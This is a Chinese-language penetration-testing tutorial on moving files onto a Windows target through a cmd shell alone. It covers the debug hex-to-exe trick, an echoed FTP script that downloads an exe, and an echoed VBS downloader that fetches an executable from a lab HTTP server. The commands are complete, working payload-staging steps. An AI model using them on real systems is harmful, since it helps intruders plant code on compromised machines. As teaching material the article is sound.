频道栏目
首页 > 安全 > 网站安全 > 正文

网站安全测试之如何通过cmd上传文件

2016-04-06 09:24:25           
收藏   我要投稿

在渗透测试的过程中,常常需要向目标主机上传文件,我在最近的学习测试过程中就碰到了这个问题,要求只能通过cmd shell向目标主机(Windows系统)上传文件,所以本文就对该技巧做一下总结。

Alt text

测试环境

OS:Win7 x86test exe:ssss2.exe,成功运行后输出1

通用上传方法

1、 debug

debug是一个程序调试工具,功能包括:

直接输入,更改,跟踪,运行汇编语言源程序 观察操作系统的内容 查看ROM BIOS的内容 观察更改RAM内部的设置值以扇区或文件的方式读写软盘数据

特别的是它还有一个功能可以将十六进制代码转换为可执行文件:

Alt text

结合本文的目标,思路如下:

把需要上传的exe转换成十六进制hex的形式通过echo命令将hex代码写入文件使用debug功能将hex代码还原出exe文件

2、ftp

搭建好ftp服务器:

ip:192.168.174.151文件:ssss2.exe

按顺序执行如下代码即可通过ftp来下载文件

cmd:

#!bashecho open 192.168.174.151 21> ftp.txtecho ftp>> ftp.txtecho bin >> ftp.txtecho ftp>> ftp.txtecho GET ssss2.exe >> ftp.txtftp -s:ftp.txt

如图

Alt text

注:

初次使用ftp下载防火墙会弹框拦截,使用前记得要先添加防火墙规则

3、vbs

vbs downloader,使用msxml2.xmlhttp和adodb.stream对象

如下代码保存为.vbs文件:

#!vbSet Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://192.168.174.145/ssss2.exe",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode = 3aGet.Type = 1aGet.Open()aGet.Write(Post.responseBody)aGet.SaveToFile "C:\test\update\ssss2.exe",2

对应到cmd下的命令为:

#!bashecho Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbsecho Set Shell = CreateObject("Wscript.Shell") >>download.vbsecho Post.Open "GET","http://192.168.174.145/ssss2.exe",0 >>download.vbsecho Post.Send() >>download.vbsecho Set aGet = CreateObject("ADODB.Stream") >>download.vbsecho aGet.Mode = 3 >>download.vbsecho aGet.Type = 1 >>download.vbsecho aGet.Open() >>download.vbsecho aGet.Write(Post.responseBody) >>download.vbsecho aGet.SaveToFile "C:\test\update\ssss2.exe",2 >>download.vbs

按顺序依次执行后会生成download.vbs,然后执行download.vbs即可实现下载ssss2.exe

小结

本文对一些常用的通过cmd来传输文件的技巧做了整理,侧重于介绍其中较为通用简便的方法,所以并未介绍其他需要配置开发环境的实现方法,如Python、Ruby、Php等,如果你有更好的实现方法,欢迎与我交流,共同学习。

上一篇:安智网核心业务SQL注入(涉及400多万订单信息)
下一篇:Nmap备忘单分析:从探索到漏洞利用(Part 2)
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站